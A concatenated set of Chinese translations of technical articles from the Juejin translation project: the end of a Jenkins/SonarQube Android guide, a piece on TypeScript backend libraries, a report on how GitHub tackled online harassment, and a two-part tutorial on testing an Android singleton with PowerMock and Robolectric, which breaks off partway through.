Gradle 任务, **sonarqube**,并在 Jenkins任务的最后一步执行: 添加 sonarqube gradle 任务 再运行一次 Jenkins 任务,任务成功完成后在 localhost:9000 可以看到: 分析结果页面 我们可以通过点击工程名来切换仪表盘,这里面包含了很多内容,其中最重要的是 Issues 部分。 下面的截图显示的是一个被标记为空构造方法的 **major** 问题。对我个人而言,使用 Sonarqube 最大价值是当你点击 period … 后,屏幕下方显示的非常宝贵的学习编程经验和技巧。 获得问题的说明 ### 第 6 步 —— 其它:配置其它 Android 应用 ### 配置一个 Android 应用获得覆盖统计和 sonarqube 结果,只需要使用 JsCoCo 和 SonarQube 插件就可以了。可以在我的 demo 应用 **HelloJenkins** 中找到详细的配置: [**pamartineza/helloJenkins**](https://github.com/pamartineza/helloJenkins) ### The end! ### 本文到了该结束的时候!希望能对您有所帮助。如果您发现任何问题或有所疑问不吝赐教,我会尽最大努力帮助您。如果您喜欢本文,麻烦分享一下。 ![Markdown](http://i1.piimg.com/1949/7d2d44d03dd76bdc.png) ================================================ FILE: TODO/how-to-start-with-backend-typescript-and-use-its-full-potential.md ================================================ > * 原文地址:[How to start with backend TypeScript and use it’s full potential.](https://medium.com/@igorandreev/how-to-start-with-backend-typescript-and-use-its-full-potential-5114e52012b) > * 原文作者:[idchlife](https://medium.com/@igorandreev?source=post_header_lockup) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/how-to-start-with-backend-typescript-and-use-its-full-potential.md](https://github.com/xitu/gold-miner/blob/master/TODO/how-to-start-with-backend-typescript-and-use-its-full-potential.md) > * 译者:[xilihuasi](https://github.com/xilihuasi) > * 校对者:[tvChan](https://github.com/tvChan), [noahziheng](https://github.com/noahziheng) # 如何用 TypeScript 玩转后端? 我将从一个开发者的角度介绍几个优秀的库。它们可以满足你后端应用的绝大部分特性。装饰器和元数据的能力在这些库中得到的充分的应用,使其非常强大并且简单易用。 我希望这篇文章可以帮到像我这样,喜欢 TypeScript 而且想用它编写后端代码的人,让他们像我一样发现这些库之后乐在其中。 **TL;DR —— 堆栈使你的后端应用像许多使用其他语言的企业静态解决方案一样强大:** * 使用装饰器,参数,body 注入的路由和控制器的库 * 依赖注入和使用装饰器的 services 的库 * 使用装饰器的 ORM 就像 Doctrine/Hibernate 那样方便操作实体 * 给那些还不熟悉使用 TypeScript 写后端的朋友的小建议 **Routing-controllers:控制器,行为,请求等** [**pleerock/routing-controllers** routing-controllers —— 创建结构化,声明性和组织良好的基于类的控制器](https://github.com/pleerock/routing-controllers) 尽管这个库是作为 Express/Koa 的 TypeScript helper 编写的,它也会对你编写控制器有所帮助,就像你在 Java/PHP/C# 的企业级框架里用到的那样。 下面是一个控制器的小例子: ``` import {JsonController, Param, Body, Get, Post, Put, Delete} from "routing-controllers"; @JsonController() export class UserController { @Get("/users") getAll() { return userRepository.findAll(); } @Get("/users/:id") getOne(@Param("id") id: number) { return userRepository.findById(id); } @Post("/users") post(@Body() user: User) { return userRepository.insert(user); } } ``` 这对一些人来说就像是摆脱了噩梦:不再有带路由的组件,充满嵌套的中间件以及具有注入,验证和请求参数的中间件的实现(是的,你甚至可以定义参数类型和是否必传!如 @Body({ required: true, validate: true }) 这种写法将能很好地工作,如果缺少参数或者不正确的请求就会抛出异常) 装饰器有很多有用的特性,如基础控制器的 @Controller,可在 actions 中定义内容的类型以及使用 @JsonController 服务和接收 JSON。 我正在 Express 中使用它,既然我们有了 async/await (即使 TS Node.js 开发已经过了好几个月我还是忍不住赞美)我们似乎不再需要 Koa 了(现在 routing-controllers 可以更好的支持 Express )。而且 Express 有更大的类型集 @types。 下面是我项目中使用 routing-controllers 和其他 @pleerock 库(VSCode, 如果有兴趣的话,引用来自 TypeLens 插件)的例子: ![](https://cdn-images-1.medium.com/max/800/1*DdYJb1pIl3JYBfoCQPvSRw.png) 如你所见,routing-controllers 甚至提供了 undefined 返回码(也有 empty 和 null 的装饰器)以及许多其他特性。关于 this.playerService —— 这是另一个迷人的库,稍后我将介绍它。 总体来看,库有强大的文档,它可以帮助你理解和构建适用于操作甚至整个控制器的自定义中间件的应用程序(这对我来说是个绝妙的时刻)。链接地址如你所见就在那,非常方便。 当然,你也可以使用很多 Express/Koa 中间件把你的应用抽离出来,以及视图配置(库也有针对视图的装饰器),认证(可以通过中间件应用到整个控制层),错误处理等方面的配置。 通常我把他们存放在 /controllers 文件夹。 **TypeDI:依赖注入,services** [https://github.com/pleerock/typedi](https://github.com/pleerock/typedi) 这个库帮我定好了项目结构,方便编码并且不用去想「好吧 service 存在哪里,这个是 service?唔或许是另一个,但是,它怎么依赖另一个 service?怎么引用其他 service 唔。」 回到我的 PlayerService,下面这部分你可以看到它依赖了什么(其他 services): ![](https://cdn-images-1.medium.com/max/800/1*lpTGJEYWTCr18jjm8uAnbg.png) @Inject 对我来说是在处理 services 和逻辑完整的后端应用方面最好用的装饰器。 (如果你想了解 @OrmEntityManager —— 另一个来自 @pleerock 的库,稍后我将讲解) 是的,你可以有很多 services 依赖其他的 services。并且如果你有 service 循环依赖,你可以通过明确地定义类型来解决这个问题(库的文档涵盖了大部分的问题和情景) 对那些不熟悉 services,service 容器,services 依赖注入等的朋友。简要说明: 你有某种功能,想把它存在类中,然后你想要类的实例并且想让这个类依赖另一个,另一个等。service 容器的依赖注入可以为你保驾护航。你可以从容器中获取 services 并且它会自己处理 services 的所有依赖,给你带有其他实例的工作实例自动注入。 我关于这个库的描述并不涵盖它的所有潜能(你可以自己查看它的文档——有更多的特性可以使用):你可以在定义 services 时给它命名,还可以定义构造器注入等。 通常我把我的 services 存放在 /services 文件夹。 **TypeORM:使用 ORM 定义关系型实体,不同列类型和不同数据存储方案非常方便(关系型,非关系型)** [**typeorm/typeorm**_typeorm —— 可在 TypeScript and JavaScript (ES7, ES6, ES5)环境中使用的 Data-Mapper ORM。支持 MySQL, PostgreSQL, MariaDB, SQLite](https://github.com/typeorm/typeorm) 这给我的感觉就是,用 TypeScript 写 Node.js 最终有能力跟其他语言和 ORMS 竞争。 强大的 ORM 可以让你很方便地用一种可理解的方式编写实体。我不是其他许多类似这种 Node.js ORMS 的粉丝: ``` module.exports = { id: SomeORM.Integer, name: SomeOrm.String({ …})} ``` 我总是想让实体写成类。被赋予类型的属性的类,会被带有简单装饰器的 ORM 发现。甚至是没有类型的。 TypeORM 给你这种能力。我项目中的另一个例子: ![](https://cdn-images-1.medium.com/max/800/1*VJEWGi8ycPxqaLNzjev7nA.png) 如你所见,我甚至没在装饰器中写属性的类型(你可以这样做,不要担心,明确地定义类型,默认的,可空的等)!TypeORM 为我做了所有这些工作,了解什么类型(感谢 TypeScript 反射:元数据扩展功能)以及把它应用在我的数据库。 它非常强大,你将拥有所有你在其他 ORMs 中拥有/看到的东西,比如(Doctrine, Hibernate)。 当使用 routing-controllers 和 TypeDI,它会为你注入实体管理器(就像你在我的 PlayerService 截图中看到的一样)提供非常有用的装饰器或者连接你的控制器和 services(这**非常**方便)。 这个 ORM 有一个涵盖了大量功能的官方文档,你可以看看并且从中了解所有你开始使用它需要了解的东西。 我通常把我的数据库配置放在 /config 文件夹,实体放在 /entities 文件夹。 * **为什么一篇文章涵盖了所有这些库?** 这正是有趣的部分。 Routing-controllers 就像是你应用的地基。它给你轻松连接那两个库的可能(涵盖在库文档中)。当然,如果你不想的话可以不用。它可以和任何 ORM 一同使用。 但是,当你使用全部这三个库时,你会让框架对比其他解决方案时显得太过强大(至少对我来说是这样)。你有控制器,参数注入,body 注入,参数验证,依赖注入,有了这些你可以忘掉手动提供依赖和定义类型,装饰属性的实体,查询 builder。这全都是靠 TypeScript!所以,后端也将有编译时类型检查! * **是的,感谢涵盖了那些功能的库。但是再说一次,如何在 node 中使用 TypeScript?** 好吧,这再简单不过了。你可以像平时一样写 typescript,配置它编译到 ES2015(node 现在有很多特性,不用把它编译成 ES2015 之前的版本了),使用 CommonJS 标准来实现模块即可。 并且使用 pm2 或其他东西在编译后启动 index/server/app.js 。基本上生产代码已经就绪。不用 ts-node 或者其他什么了。 **如果你喜欢这些库,不要忘了表达你的喜爱** 如你所见,没有很多人知道 routing-controllers 和 TypeDI,这些是我 TypeScript Node.js 项目用到的最强大并且好用的库了。如果你喜欢它们,请花一秒钟 star 它们并且宣传一下。它们帮了我很多,所以我希望它们可以帮到你和其他同样的 TypeScript 使用者! 这些库也有 gitter 社区,你可以通过谷歌搜索“gitter 库名”很方便地找到它们。 感谢阅读并且快乐地使用 TypeScript。欢迎评论或提问吧~ --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/how-to-stop-online-harassment.md ================================================ # GitHub是如何阻止网络暴力的 * 原文地址:[ What GitHub did to kill its trolls ](http://fusion.net/story/369325/how-to-stop-online-harassment/ ) * 原文作者:[ Kristen V. Brown ](http://fusion.net/author/kristen-v-brown/) * 译文出自:[掘金翻译计划](https://GitHub.com/xitu/gold-miner) * 译者: [wild-flame](https://GitHub.com/wild-flame) * 校对者:[marcmoore](https://GitHub.com/marcmoore), [Romoe0906](https://GitHub.com/Romeo0906) 几年前,创业者熟知的 GitHub 就面临了一个尴尬的现实:GitHub 在变成一个让人厌恶的地方。 GitHub 作为一个为程序员提供分享项目代码并在线合作的网站,2014 年是它发展最快的时候。但是,随着用户数的增多,相应的麻烦也变得越来越多。Julie Ann Horvath,一位在 GitHub 工作的程序员,就因为饱受 [性别歧视](http://money.cnn.com/2014/03/17/technology/GitHub-sexual-harassment/) 的折磨而离开了公司,这个新闻事件也让 GitHub 站在了舆论的风口浪尖上。 更糟糕的是,不多久 GitHub 就发现这不仅仅是他们公司内部的问题。辱骂和歧视在它们的整个网站上都呈现一种蔓延的趋势。整个在线社区都充斥着一种 [歧视女性](https://www.theguardian.com/technology/2016/feb/12/women-considered-better-coders-hide-gender-GitHub) 的氛围,女性并不如男性受重视。小小的不合就会演变成一场评论大战。比方说一个分手的男人,就在他前任女友的每一个项目里都说了一些不堪入目的话语。而那些性别主义、种族主义的喷子们,则利用那些原本为合作提供便利的特性来攻击别人。比方说,利用标签特性,把这个人的主页和用种族主义词汇命名的项目标记起来,就可以将这个人的项目集变成一系列的含糊不清的种族主义词汇。 Nicole Sanchez,公司公关部的副总裁,发言说「这些都是网络自带的危险和隐患」,虽然这是一种普遍现象,但 GitHub 仍在很积极地消除它们。 很让你惊讶对吧?一个给程序员分享代码的网站竟会成为滋生不当言论的乐土。但 GitHub,这个估值两亿的网站,本质上仍然是一个社交网站,它是一个面向程序员的 Facebook + Linkedin 的混合体,所以必然包含了大量的人与人的互动。在互联网上,有人的地方就有谩骂。 为了力挽狂澜,GitHub 雇佣了 Sanchez —— 关于多元化的咨询公司 [started Vaya](http://www.sfchronicle.com/business/article/For-some-startups-tech-s-lack-of-diversity-is-6052546.php) 的创始人。 "为了把全世界所有的程序员连结起来,我们首先需要营造个安全舒适的社区环境。" CEO Chris Wanstrath 说。 开始工作以后,Schaez 从雇佣、绩效考核到公司的装修,重新安排了公司的诸多事务。GitHub 刚成立的时候,是一个不分等级的公司,公司里没有职称,也没有经理。但 Sanchez 废除了这个制度,因为她发现,如果没有管事的,那么人们也不会为他们的错误承担责任。她首先调整公司的内部环境,使其对多元文化更友好,比方说建立一个通畅的官方建议渠道。她还招进了 February Keeney,一个有一半波多黎各血统的变性人,带领新成立的「社区安全组」去消除网站上的不当言论。 鉴于硅谷当时的文化,这是一个很采取的立场。GitHub 和许多技术公司一样,都曾害怕限制用户言论。许多做技术的人都觉得网络应该是一个开放且自由的地方,他们认为,即便是处理那些最恶毒的言论,其实也是损害了用户言论自由的权利。比如 Twitter,它一直拒绝对自己的不当言论问题公开致辞,并自诩是「言论自由的领袖」。 「人们对于『开源』太教条了。」Sanchez 说,「人们总觉得『开源』意味着随时随地并且无条件开放给任何人。」 一些不期望改变的 GitHub 雇员,曾匿名在媒体上抗议说:Sanchez 试图 [控制](http://www.businessinsider.com/GitHub-the-full-inside-story-2016-2) GitHub 的文化。不过最终,她还是取得了大部分人的支持。 「那些污蔑其实不仅仅是让人不舒服。」Sanchez 说,「它实实在在的在削减我们的用户量。」 2014年,一份 [报告](http://fortune.com/2014/10/02/women-leave-tech-culture/) 调查了女性离开技术圈的原因,其中,极客文化 —— 当然包括了污蔑、诽谤和骚扰 —— 是她们离开的一个重要原因。用户的多样性曾是 GitHub 成功的重要原因,也正因为此 GitHub 决定要根除网上的各种不当言论。 GitHub 不仅仅是需要在内部执行一份新的行为准则,他需要考虑产品的各个方面,排除其中可能被用户做恶意行为的细节。该死的喷子们! GitHub 并不是唯一的一个意识到互联网上的丑陋行为不会自行消失的公司。两年前,这些技术公司在面临网络暴力的问题时,还常常以言论自由来为自己辩护,或者不予理会。但 [丑闻](http://www.newsweek.com/ellen-pao-kleiner-perkins-john-doerr-buddy-fletcher-314293)、[批评](http://fusion.net/story/327103/leslie-jones-twitter-racism/)、[网络暴力](http://fusion.net/story/270090/sxsw-gamergate-science-and-the-internets-harassment-problem/),使得大家开始重新考虑这个做法。 去年二月,Twitter 的 CEO Dick Costolo [公开承认](http://www.theverge.com/2015/2/4/7982099/twitter-ceo-sent-memo-taking-personal-responsibility-for-the)「我们在处理网络暴力这件事情上做的很差」,这是一次号召。从那时开始,Twitter 以及其他公司开始积极地尝试各种解决办法。九月时,Instagram 发布了一个新功能,允许用户 [屏蔽恶意词汇](http://fusion.net/story/347364/instagram-comment-moderation-policy/) 。今年秋,Google 暗示说它在开始 [构建 A.I. 来对抗网络暴力](https://www.wired.com/2016/09/inside-googles-internet-justice-league-ai-powered-war-trolls/)。甚至连最让人不爽的 Reddit,也 [封了他最不好的方面](http://fusion.net/story/168376/reddit-will-still-allow-hate-speech-but-itll-be-slightly-harder-to-find/)。 「现在有这么一种时代浪潮,」GitHub 的首席商务官 Julio Avalos 对我说,「雇主对雇员的期望发生了改变,客户对公司的期望发生了改变。人们会以脚来投票的。」 ![Julio Avalos, GitHub's Chief Business Officer.](https://i0.wp.com/fusion.net/wp-content/uploads/2016/11/screen-shot-2016-11-14-at-12-28-03.png?resize=670%2C617&quality=80&strip=all) Julio Avalos, GitHub 的首席商务官 Twitter 便是忽略这股浪潮的反面教材。作为一个有十多年历史的老公司,Twitter 基本上对网络暴力视而不见,使他成为 [喷子](http://womenactionmedia.org/cms/assets/uploads/2015/05/wam-twitter-abuse-report.pdf) 和 [憎恶](http://fusion.net/story/359668/twitter-anti-semitism-adl-report/) 们 [最爱去的地方](https://www.buzzfeed.com/charliewarzel/a-honeypot-for-assholes-inside-twitters-10-year-failure-to-s?utm_term=.ohBx6EKra#.dm0pE9yw6) 。因为网络暴力,一些 [大V用户](http://fusion.net/story/327103/leslie-jones-twitter-racism/) 也离开了 Twitter。这家问题缠身的公司最近几个月疲于寻找买家,有人猜测 [Twitter的网络暴力](https://www.theguardian.com/technology/2016/oct/18/did-trolls-cost-twitter-35bn) 是一个重要原因。 喷子们已经成了网络时代的祸害。可悲的是,互联网上已经充满了混蛋,真的是应该需要做点什么的时候了。 但是,在现实生活中你都无法避免所有的暴力和辱骂,你要怎么在网络上避免他们呢?拿 Twitter 来举例子吧,他们推行 [禁止色情报复](http://fusion.net/story/102264/twitter-bans-revenge-porn/),发布 [反骚扰条款](https://blog.twitter.com/2015/fighting-abuse-to-protect-freedom-of-expression-0),成立 [信任安全委员会](http://thenextweb.com/twitter/2016/02/09/twitter-now-has-a-trust-and-safety-council-to-help-its-users-feel-safe/#gref),暂停 [有辱骂嫌疑的大V用户的使用权](http://fusion.net/story/327536/milo-yiannopoulos-nero-permanently-banned-from-twitter/),但仍然没能阻止网络上的暴力。 BuzzFeed 的 Charlie Warzel 今年初在他的一篇文章中 [写道](https://www.buzzfeed.com/charliewarzel/a-honeypot-for-assholes-inside-twitters-10-year-failure-to-s?utm_term=.awWPe3z94#.eeW97xOwg):「在Twitter上,辱骂并不仅仅是一个错误(Bug),用硅谷的专业术语来说,它是一个基础特性(Feature)。」 ## 治疗网络暴力并没有什么万能药的。 「网络暴力无休无止。」Nathan Matias,MIT 专门研究减少网络歧视和辱骂的研究员说,「可能的结果非常多,而通过目前掌握的线索来找到我们期望的解决方案就如同大海捞针一般。」 当 GitHub 下决心跟网络暴力一战到底的时候,它也招进了 Ada Ehmke —— 一个变性人,从那时开始,她就成了 GitHub 最重要的批评家。 Ehmke 曾经是 GitHub 设计的受害者之一,她是 [Contributor Covenant](http://contributor-covenant.org/) 的作者,一个许多 GitHub 项目都志愿遵守的准则。但并不是所有在这个基于自由意志而存在的开源社区里的人都欣赏她,甚至有一些人开始攻击她。当时 GitHub 没有任何功能允许用户选择不被标签,所以攻击者们开始将 Ehmke 与种族主义名字相关的项目标记在一起,以污染她的 GitHub 个人主页 —— 那是一份记录了她所有开源项目的页面。这就好像某人在她的简历上画了个纳粹标记,然后再把它交给她未来的雇主。 ![GitHub engineer Coraline Ada Ehmke.](https://i0.wp.com/fusion.net/wp-content/uploads/2016/11/coraline_speaking.jpeg?resize=640%2C427&quality=80&strip=all) GitHub 工程师 Coraline Ada Ehmke. 「这些喷子是很聪明的。他们从各种工具中寻找便利,然后将其作为武器攻击别人。」Ehnke 说,「如果你从来没考虑过你的产品会如何被用来人身攻击,那你的工作是不到位的。」 当去年二月 Ehmke 被雇佣为资深工程师的时候,有一些人就因此对 GitHub 的招聘方向感到很气愤。 > [@CoralineAda](https://twitter.com/CoralineAda)[@GitHub](https://twitter.com/GitHub) So you are going to ruin GitHub just like the SJWs are ruining Twitter? > > — Jon (@42zarf) [February 25, 2016](https://twitter.com/42zarf/status/702704096499912705) > 「所以你也希望像那些圣母毁掉 Twitter 的一样毁掉 GitHub 么?」(译注:SJW 就是 social justice worker) 「我刚开始工作的时候,作为男性,我有很多优势。」Ehmke说,「尽管我一直都知道存在这样的事情,但是直到我变性之后,才开始真正理解那些人。开源社区对于非男性或者非白人一直都很不友好。」 每个同我在 GitHub 谈过话的人都强调说,要解决 GitHub 上的网络暴力,首先是应该要解决公司自己内部的问题。 「如果我们自身一开始就不是多元化的,我们又如何能将这种多元化传递给用户?」Avalos(一个危地马拉人,在 GitHub 还没有老板责任制的时候就加入了公司)对我说,「我们不希望对那些会使用户远离我们产品的事实视而不见。」 社区和安全小组由六个人组成,包括两个变性的人、四个女性,三个为有色人种和两个「有象征意义的男性白人」,换句话说,比起一般的硅谷团队更「多元化」。 他们的工作不仅仅是构建新的「反网络暴力的工具」,也包括诊断各种 GitHub 的功能,预测他们会如何被用来诽谤。 「在 GitHub 里,我们不仅仅是一个工程师团队。」Ehmke 对我说:「我们被认为是关键的基础设施,在 GitHub,这些事情被认为和保持灯光一样重要。」 团队迫使 GitHub 做出的最大的改变就是要求 GitHub 的工程师们在平台中建立「同意和意向」。比如,用户有权利同意被一个用户标注。这可以阻止类似于 Ehmke 的种族主义标签的事件再次发生。所以 GitHub 调整了用户标记功能,需要用户批准。 ## 「我们不打算对产品中疏远人的部分视而不见。」 但主观意图是一个很微妙的事情。在 GitHub 上说一些听起来很冒犯的话并不一定说明那个人是想骂你。「You suck」既可以被当中一个中性的鼓励短语,也可能是朋友之间的一句玩笑而已。 「我们意识到,不当言论其实分为两类。」Keeney 说,「一类就是故意的,而另一类,就像那些开地图炮的玩笑的人一样,根本没有意思到自己的地域歧视。」 GitHub 需要找到更灵活的方法来处理这些行为的细微的差别。 上个月,公司发布了一条 [社区指导](https://GitHub.com/blog/2267-introducing-GitHub-community-guidelines) 的草案。它包括 [禁止行为](https://help.GitHub.com/articles/GitHub-community-guidelines/#what-is-not-allowed) —— 辱骂,歧视和欺凌 —— 并清楚地阐明了什么构成那些行为。 还有 [破坏规则的后果](https://help.GitHub.com/articles/GitHub-community-guidelines/#what-happens-if-someone-breaks-the-rules) ,从删除内容到帐户终止不等。 而作为 GitHub,它已要求其社区提供一些反馈。一个用户看了看拟议准则,并建议其将色情也拒之门外,包括一些可能与性教育或生殖健康相关的项目。 最终,GitHub决定,满足社区需求的最佳方式就是请求社区的帮助。 例如,审核评论这个特性,如果被用户和开源项目的管理者所共同管理可能会更好,这样更容易发现一个看上去无礼的笑话是否真的冒犯了别人。 「现在,管理者唯一能做的就是删除评论,举报或者在一个项目中禁止某人。」Keeney 说,「但我们希望确保我们为管理者提供一系列工具来应对问题。不同的问题需要不同的反应。」 最后,Keeney 告诉我,GitHub 计划推出一系列工具,可以让项目管理者做更多的事情,比如禁言一个问题成员仅仅几天的时间。 ![February Keeney, the manager of GitHub's Community and Safety Team.](https://i0.wp.com/fusion.net/wp-content/uploads/2016/11/bio-photo-e28093-february-keeney.jpg?resize=670%2C670&quality=80&strip=all) February Keeney, GitHub 社区与安全组的经理 GitHub的做法有三个核心原则:在功能上让用户不易被骚扰、为用户提供新的保护工具、通过社区来运筹帷幄。 据 GitHub 表示,到目前为止,整个策略已经相当成功了。阻拦和报告的恶意事件数增加了,表明用户实际上正在使用网站的新工具。另一方面,当恶意事件真正发生时,响应用户所需的时间减少了。 ## 「我们赋予用户管理自己体验的权利越多,结果越好。」 其他在线社区也在采取类似的策略。Reddit 上的 r/science 就建立明确的社区规则,并征集了约 1300 人的来维护这些规则,成功的将充满火药味的帖子变成了民主讨论。 「任何合理的治理在线行为的方法都至少要求用户做一些工作来管理社区,」Matias告诉我。 「当社区开展这项工作时,我们通常会获得更多的责任感。」 Instagram 和 Twitter,最近也开始想用户提供更多的处理不当言论的能力。11月,Twitter 发布一一份[新特性](http://fusion.net/story/370271/twitters-new-harassment-tools/),允许用户从通知里屏蔽某些单词和短语。 「网络暴力的形式有许多种。」Del Harvey,Twitter 的信任与安全部门的副总裁对我说。「预测哪些言论是让用户感到厌恶是不现实的,我们赋予用户管理自己体验的权利越多,结果越好。」 ## 网络上的不是每一个地方都需要非常干净 「网络上的不同地方,需要不同的社交模式。」乔治亚理工学院的一个研究在线社区的研究员 Amy Bruckman 说,「网络上也应该有一些不那么光鲜的地方,只要他们不跨越那条边界」 换句话说,这都取决于规定是什么。就像真实的世界一样,不同的人会去不同的地方。Reddit 是你家旁边的潜水吧,而 Facebook 是街角的咖啡厅。我们都知道,在4点的酒吧发生的事情,不可能发生在咖啡厅里的。 最后,这些公司做的最大的改变就是,他们愿意失去一些棘手的用户。 发表不同的见解是不同意识之间互相交流的一部分。而对人骂 "bitch" 却不是。 但是,找到他们之间的平衡却很难。在 GitHub 上,新雇佣的雇员和新发布的规定都给社区造成了严重的冲击。并不是每个人都会因此开心,但 GitHub 现在只需要操心在更少的用户上面了。最后,这些公司做的最大的改变就是,他们愿意失去一些有问题的用户。 「如果用户不喜欢我们创造的新文化,可以选择其他的。」Nicole Sanchez 对我说,「对我们来说,我们不介意和你划清界限。」 ================================================ FILE: TODO/how-to-test-a-singleton-in-an-android-service-2.md ================================================ > * 原文地址:[How to test a singleton in an Android Service (2)?](http://www.songzhw.com/2016/10/03/how-to-test-a-singleton-in-an-android-service-2/) * 原文作者:[songzhw](http://github.com/songzhw) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者:[Newt0n](https://github.com/newt0n) * 校对者:[Graning](https://github.com/Graning), [hackerkevin](https://github.com/hackerkevin) # 如何测试 Android Service 里的 Singleton (2) 上一篇文章介绍了如何测试单例模式(**PowerMock**!),还有如何对 Android 代码做单元测试(**Robolectric**!)。现在我们想要测试一个 Service 中的单例应该会很容易了吧? ### 第一次尝试: 结合 PowerMock 和 Robolectric (1) // src/PushService // [PushService.java] public class PushService extends Service { public void onMessageReceived(String id, Bundle data){ FooManager.getInstance().receivedMsg(data); } } 我试着结合 PowerMock 和 Robolectric 然后写了个测试用例: // test/PushServiceTest @RunWith(RobolectricTestRunner.class) // @RunWith(PowerMockRunner.class) @PrepareForTest(FooManager.class) public class FooManagerTest { @Test public void testSingleton(){ FooManager mgr = Mockito.mock(FooManager.class); PowerMockito.mockStatic(FooManager.class); Mockito.when(FooManager.getInstance()).thenReturn(mgr); FooManager actual = FooManager.getInstance(); assertEquals(mgr, actual); } } 很快,我就发现陷入了两难。即可以用 `@RunWith(RobolectricTestRunner.class)` 也可以用 `@RunWith(PowerMockRunner.class)`,但不能两个一起用!一旦可以同时使用这两个语句,意味着可以随意选择使用 Robolectric 或者 PowerMock,但我没办法结合他们。 ### 第二次尝试: 结合 PowerMock 和 Robolectric (2) 我尝试着 Google 可行的解决方案,谢天谢地竟然让我找到了一个。这个方案由 Robolectric 发布在:[https://github.com/robolectric/robolectric/wiki/Using-PowerMock](https://github.com/robolectric/robolectric/wiki/Using-PowerMock) 这篇文章建议我们添加如下语句: @RunWith(RobolectricTestRunner.class) @Config(constants = BuildConfig.class, sdk = 21) @PowerMockIgnore({ "org.mockito.*", "org.robolectric.*", "android.*" }) @PrepareForTest(Static.class) public class DeckardActivityTest { ... } 我按照文章说的做了,然后试着运行测试,但还是失败了。这一次的报错信息是: com.thoughtworks.xstream.converters.ConversionException: Cannot convert type org.apache.tools.ant.Project to type org.apache.tools.ant.Project ---- Debugging information ---- 然后我接着 Google,这一次我找到了一个 Github 上的 Issue [github.com/Robolectric](https://github.com/robolectric/robolectric/pull/2390)。在这个 Issue 里有人提到: 很遗憾我们在 10 月以前都没法实现整合 Powermock,但如果有人愿意帮忙修复这个问题我们也非常欢迎。 最好的解决当务之急的办法就是让你的代码变得可测试,这样就不用去模拟静态方法了。 现在我意识到目前还没有能够同时使用 PowerMock 和 Robolectric 的方案。可能在 10 月(2016年)的时候会有,但现在(2016 年 9 月)我必须测试服务里的单例,怎么才能做到? ### 第三次尝试: 解耦单例 现在我们知道 PowerMock + Robolectric 的方案已经没有希望了,那我们还能不能测试服务里的单例? 还是有办法的,就像前面说的『单例模式被认为是不够好的,因为它使得单元测试和调试变得困难。它需要明确的指定单例对象的类型以至于耦合度过高。』。所以我们希望能创造个实现依赖注入的机会,而不是紧耦合的用具体的单例对象来初始化。 回到我们的例子,如果使用单例,代码应该是这样: // [PushService.java] public class PushService extends Service { public void onMessageReceived(String id, Bundle data){ FooManager.getInstance().receivedMsg(data); } } 而使用依赖注入,重写后的代码应该是这样: // [PushService.java] public class PushService extends Service { public FooManager fooManager; public void onMessageReceived(String id, Bundle data){ fooManager.receivedMsg(data); } } 在这个例子里,`FooManager` 在服务的外层被创建,这样就有了注入或模拟我们自己的实例的机会。这样一来我们的测试代码可以这样写: @RunWith(RobolectricTestRunner.class) // Use Robolectric to test Service with JUnit @Config(constants = BuildConfig.class, sdk = 21) public class PushServiceTest { @Test public void testReceivedMessage_Singleton(){ FooManager mgr = mock(FooManager.class); service.fooManager = mgr; service.onMessageReceived("23", data); verify(service.fooManager).receivedMsg(data); } } 问题解决了。我们对在服务里初始化对象做了解耦,做到了让测试用例可以模拟单例类的实例,这一点非常重要,[为了写出可测试的代码, 必须把对象的实例化和业务逻辑分开。](http://codeahoy.com/2016/05/27/avoid-singletons-to-write-testable-code/) ## 结论 02 单例模式,由于提供了一个全局的静态方法来创建和获取类的实例,自然阻止了解耦。而我们上面所做的,就是通过把实例化和业务逻辑分开,从而实现了一个单例模式的测试方案。 ================================================ FILE: TODO/how-to-test-a-singleton-in-an-android-service-one.md ================================================ > * 原文地址:[How to test a singleton in an Android Service (1)?](http://www.songzhw.com/2016/09/30/how-to-test-a-singleton-in-an-android-service-one/) * 原文作者:[songzhw](http://github.com/songzhw) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者:[Newt0n](http://github.com/newt0n) * 校对者:[Graning](https://github.com/Graning), [DeadLion](https://github.com/DeadLion) # 如何测试 Android Service 里的 Singleton (1) 最近我遇到个大麻烦:如何测试服务里的单例模式?最终我解决了这个问题。而且我觉得整个解决问题的过程是一个绝好的向读者清楚的解释单元测试的机会。限于篇幅,本文是第一篇文章,后面我会再写一篇。 ## 我们的服务 // [PushService.java] public class PushService extends Service { public void onMessageReceived(String id, Bundle data){ FooManager.getInstance().receivedMsg(data); } } FooManager 是一个实例: // [FooManager.java] public class FooManager { private static FooManager instance = new FooManager(); private FooManager(){} public static FooManager getInstance(){ return instance; } public void receivedMsg(Bundle data){ } } 我们应该怎么测试 PushService? 显然,我们想确保 `FooManager` 会调用 `receiveMsg()`,所以我们想要的应该是像下面这样: verify(fooManager).receiveMsg(data); 只要是了解 Mockito 的开发者都知道,当我们调用 `verify(fooManager)` 时必须使 `fooManager` 先成为一个模拟对象;否则,程序会抛出异常:`org.mockito.exception.misusing.NotAMockException` 所以我们得先模拟一个 FooManager 的实例。现在我把测试步骤分解成两个小的测试: 1. 模拟一个单例 2. 在服务里模拟一个单例 ## 模拟单例(1) ### 第一步 : 用 Mockito 模拟 `FooManager` (失败) 首先写一个测试用例: public class FooManagerTest { @Test public void testSingleton(){ FooManager mgr = Mockito.mock(FooManager.class); Mockito.when(FooManager.getInstance()).thenReturn(mgr); FooManager actual = FooManager.getInstance(); assertEquals(mgr, actual); } } 运行这个用例时程序抛出了异常: org.mockito.exceptions.misusing.MissingMethodInvocationException: when() requires an argument which has to be 'a method call on a mock'. For example: when(mock.getArticles()).thenReturn(articles); Also, this error might show up because: 